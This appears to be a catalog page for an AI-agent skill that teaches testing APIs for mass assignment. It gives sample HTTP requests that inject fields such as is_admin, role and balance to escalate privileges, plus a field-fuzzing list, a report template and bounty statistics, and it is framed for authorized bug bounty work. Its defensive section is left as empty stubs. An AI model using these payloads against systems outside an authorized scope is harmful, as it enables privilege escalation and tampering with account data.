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Mass Assignment Exploitation

skill-ak-cybe-awesome-offensive-security-skills-mass-assignment-exploitation · by Ak-cybe

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Install

$ agentstack add skill-ak-cybe-awesome-offensive-security-skills-mass-assignment-exploitation

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Security review

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No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access No
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

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About

API Mass Assignment Exploitation

When to Use

  • When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
  • To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Object Inspection

# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer 

# Response {
  "id": 123,
  "username": "tester",
  "email": "tester@example.com",
  "is_admin": false,
  "balance": 0.00
}

Phase 2: Injecting Hidden Fields in PUT/POST Requests

# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer 

{
  "username": "tester2",
  "is_admin": true,
  "balance": 9999.00
}

Phase 3: Bypassing Filters using Payload Variations

// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }

Phase 4: Fuzzing for Hidden Fields

If the response doesn't leak internal field names, fuzz using common patterns.

# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
Decision Point 🔀
flowchart TD
    A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
    B -->|Yes| C[Re-inject in POST/PUT ]
    B -->|No| D[Fuzz Common Hidden Fields ]
    C --> E[Verify Update/PrivEsc ]

🔵 Blue Team Detection & Defense

  • Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts

| Concept | Description | |---------|-------------|

Output Format

Mass Assignment Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

💰 Industry Bounty Payout Statistics (2024-2025)

| Company/Platform | Total Paid | Highest Single | Year | |-----------------|------------|---------------|------| | Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 | | Microsoft | $16.6M | (Not disclosed) | 2024 | | Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 | | HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 | | Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 | | Crypto.com (HackerOne) | $2M program | $2M max | 2024 | | 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 | | Samsung | $1M max | $1M (critical mobile flaws) | 2025 |

Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

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Versions

  • v0.1.0 Imported from the upstream source.